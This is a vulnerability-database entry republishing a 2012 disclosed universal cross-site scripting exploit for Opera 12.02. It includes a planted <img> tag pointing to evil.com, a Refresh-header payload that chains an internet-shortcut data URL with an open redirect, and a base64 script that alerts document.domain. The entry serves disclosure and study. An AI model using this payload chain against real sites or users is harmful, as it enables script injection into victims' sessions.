Opera 12.02 (UXSS) Cross Site Scripting

2012-10-10 / 2012-10-29
Credit: volema
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Exploit Title: Opera image/svg+xml UXSS # Date: 06.10.2012 # Exploit Author: volema.com # Author homepage: http://blog.volema.com # Vendor Homepage: opera.com # Version: Opera 12.02 # Tested on: Windows # CVE : NO [ Full disclosure - http://blog.volema.com/opera-svg-xml-shortcut-uxss.html ] We'll exploit the process of handling 'image/svg+xml' Content-Type with the Refresh server response header. Also we'll use recently-published 0-day Opera XSS vulnerability (which requires a victim to click the malicious link manually) All that present us UXSS exploit without any user interaction. HOW-TO: We should have the permissions to post any images to target site and there is also a script that allows us to yield any HTTP redirects. The victim visits http://target.com/blog/ where the malicious <img> is placed in the comment section. <img src="http://evil.com/evil.png" /> When the browser tries to access 'evil.png', the malicious script responds with an exploit: Refresh: 0; url=data:application/internet-shortcut,%5BInternetShortcut%5D%0D%0AURL%3Dhttp%3A%2F%2Ftarget.com%2Fopenredirect%3Fparam%3Ddata%3Atext%2Fhtml%3Bbase64%2CPHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg%3D%3D Content-Type: image/svg+xml; <svg xmlns="http://www.w3.org/2000/svg" version="1.1" /> Then Opera interprets internet shortcut from Refresh header data and redirects the victum to http://target.com/openredirect?param=data%3atext%2fhtml%3bbase64%2cPHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg%3d%3d This URL has an exploit for UXSS 0-day Opera vulnerability embedded in it.

References:

http://blog.volema.com/opera-svg-xml-shortcut-uxss.html
http://cxsecurity.com/issue/WLB-2012100119
http://cxsecurity.com/issue/WLB-2012100252


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top